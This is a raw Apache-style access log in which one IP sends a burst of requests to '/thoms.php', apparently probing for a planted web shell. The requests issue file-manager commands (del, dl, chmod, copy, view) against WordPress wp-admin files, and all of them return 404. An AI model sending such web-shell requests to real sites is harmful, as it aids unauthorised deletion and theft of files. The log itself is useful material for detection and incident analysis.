45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=my-sites.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=revision.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fterm.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fterm.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fupload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fupload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?del=includes&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=includes&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?dl=plugins.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?dl=moderation.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?del=install.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=install.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fuser&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcustom-background.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcustom-background.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /ba-guo.com.tw/wp-admin/link-parse-opml.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?dl=post-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fimages&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?chmod=import.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?dl=menu-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?dl=ms-edit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?del=options-connectors.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-connectors.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?del=options-general.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?chmod=options-media.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?del=menu.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=menu.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?dl=install.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=install.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:57 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-themes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?del=plugins.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?chmod=widgets-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?dl=setup-config.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?chmod=privacy.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?del=widgets.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?chmod=my-sites.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-sites.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-sites.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /ba-guo.com.tw/wp-admin/user/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fnav-menus.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fnav-menus.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /ba-guo.com.tw/wp-admin/credits.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?chmod=network.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?dl=widgets.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-users.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-users.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin-post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-link-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-link-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?del=nav-menus.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=site-health.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ftools.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ftools.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?dl=user-edit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /ba-guo.com.tw/wp-admin/privacy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /ba-guo.com.tw/wp-admin/comment.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=users.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?dl=admin-footer.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?chmod=edit-comments.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?del=edit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?chmod=menu.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?del=ms-delete-site.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?chmod=update.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /ba-guo.com.tw/wp-admin/authorize-application.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fupgrade.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fupgrade.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?del=update-core.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Flink.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Flink.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?del=load-styles.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /thoms.php?chmod=media-upload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:59 -0400] "GET /ba-guo.com.tw/wp-admin/nav-menus.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /ba-guo.com.tw/wp-admin/user-new.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /ba-guo.com.tw/wp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/ba-guo.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?chmod=export.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /ba-guo.com.tw/wp-admin/update.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?dl=options-general.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
